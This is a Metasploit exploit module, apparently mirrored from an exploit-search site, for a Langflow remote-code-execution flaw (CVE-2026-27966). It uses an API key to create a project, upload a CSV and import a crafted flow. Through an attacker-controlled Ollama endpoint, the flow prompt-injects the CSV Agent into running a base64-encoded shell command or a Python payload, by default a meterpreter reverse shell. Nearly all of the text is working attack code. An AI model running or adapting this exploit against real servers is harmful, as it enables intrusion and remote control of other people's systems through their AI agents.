Share
## https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-LANGFLOW_RCE_CVE_2026_27966-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow RCE',
'Description' => %q{
The CSV Agent node in Langflow hardcodes allow_dangerous_code=True, which automatically exposes LangChain's Python REPL tool (python_repl_ast).
As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection, leading to full Remote Code Execution (RCE).
},
'Author' => [
'weblover12', # Vulnerability discovery and PoC
'Takahiro Yokoyama' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-27966'],
['GHSA', '3645-fxcv-hqr4'],
],
'Targets' => [
[
'Linux Command', {
'Arch' => [ ARCH_CMD ], 'Platform' => [ 'unix', 'linux' ], 'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
}
}
],
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'DefaultOptions' => { 'PAYLOAD' => 'python/meterpreter/reverse_tcp' }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'WfsDelay' => 300,
'FETCH_DELETE' => true
},
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-02-25',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION, ]
}
)
)
register_options(
[
Opt::RPORT(7860),
OptString.new('APIKEY', [ true, 'Langflow API key to interact with Langflow.', '' ]),
OptString.new('OLLAMAAPIURI', [ true, 'Endpoint of the OLLAMA API controlled by an attacker.', '' ]),
OptString.new('MODEL', [ true, 'Valid ollama model name.', '' ]),
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
})
return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200
json_version = res&.get_json_document&.fetch('version', nil)
return Exploit::CheckCode::Unknown('Failed to parse version.') unless json_version
version = Rex::Version.new(json_version)
return Exploit::CheckCode::Unknown('Failed to get version.') unless version
return Exploit::CheckCode.Safe("Version #{version} detected. Which is not vulnerable.") if version >= Rex::Version.new('1.8.0')
# check if API key is valid
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/users/whoami'),
'headers' => {
'x-api-key' => datastore['APIKEY']
}
})
return Exploit::CheckCode::Appears("Version #{version} detected and API key is valid. Which is vulnerable.") if res&.code == 200
Exploit::CheckCode.Safe("Version #{version} detected and API key is invalid. Which is not vulnerable.")
end
def exploit
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'api/v1/projects/'),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'x-api-key' => datastore['APIKEY']
},
'data' => {
'name' => rand_text_alphanumeric(8),
'description' => 'string',
'components_list' => [],
'flows_list' => []
}.to_json
})
@folder_id = res&.get_json_document&.fetch('id', nil)
fail_with(Failure::Unknown, 'Failed to create a new project.') unless @folder_id
print_status("Project: #{@folder_id}")
# construct POST data
fname = "#{rand_text_alphanumeric(8)}.csv"
data = Rex::MIME::Message.new
data.add_part("#{rand_text_alphanumeric(2)},#{rand_text_alphanumeric(2)}", 'application/csv', nil, "form-data; name=\"file\"; filename=\"#{fname}\"")
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'api/v2/files'),
'method' => 'POST',
'headers' => {
'x-api-key' => datastore['APIKEY']
},
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s
})
path = res&.get_json_document&.fetch('path')
fail_with(Failure::Unknown, 'Failed to upload a csv file.') unless path
@fid = res&.get_json_document&.fetch('id')
exploit_data = exploit_data('CVE-2026-27966', 'cve_2026_27966.json')
exploit_data = exploit_data.gsub('__FOLDERID__', @folder_id)
exploit_data = exploit_data.gsub('__MODELNAME__', datastore['MODEL'])
exploit_data = exploit_data.gsub('__OLLAMAAPIURI__', datastore['OLLAMAAPIURI'])
exploit_data = exploit_data.gsub('__FILEPATH__', path)
case target['Arch']
when ARCH_PYTHON
payload_data = payload.encode
else
payload_data = "__import__('os').system('echo #{Rex::Text.encode_base64(payload.encoded)}|base64 -d|/bin/sh')"
end
exploit_data = exploit_data.gsub('__PAYLOAD__', payload_data)
exploit_data = exploit_data.gsub('__NAME__', rand_text_alphanumeric(8))
# construct POST data
data = Rex::MIME::Message.new
data.add_part(exploit_data, 'application/json', nil, "form-data; name=\"file\"; filename=\"#{rand_text_alphanumeric(3..9)}.json\"")
# Import a flow
res = send_request_cgi({
'uri' => normalize_uri(target_uri, 'api/v1/flows/upload/'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'vars_get' => { 'folder_id' => @folder_id },
'headers' => {
'x-api-key' => datastore['APIKEY']
}
})
fail_with(Failure::Unknown, 'Temporary failed to import a flow.') unless res&.get_json_document.is_a?(Array)
flow_id = res&.get_json_document&.first&.fetch('id', nil)
fail_with(Failure::Unknown, 'Failed to import a flow.') unless flow_id
print_status("Flow: #{flow_id}")
# Execute
res = send_request_cgi({
'uri' => normalize_uri(target_uri, "api/v1/build/#{flow_id}/flow"),
'method' => 'POST',
'ctype' => 'application/json',
'headers' => {
'x-api-key' => datastore['APIKEY']
}
})
job = res&.get_json_document&.fetch('job_id')
fail_with(Failure::Unknown, 'Unexpected server reply.') unless job
print_status("Job: #{job}")
print_status('Waiting...')
end
def cleanup
super
if @fid
send_request_cgi({
'uri' => normalize_uri(target_uri, "api/v2/files/#{@fid}"),
'method' => 'DELETE',
'headers' => {
'x-api-key' => datastore['APIKEY']
}
})
end
if @folder_id
send_request_cgi({
'uri' => normalize_uri(target_uri, "api/v1/projects/#{@folder_id}"),
'method' => 'DELETE',
'headers' => {
'x-api-key' => datastore['APIKEY']
}
})
end
end
end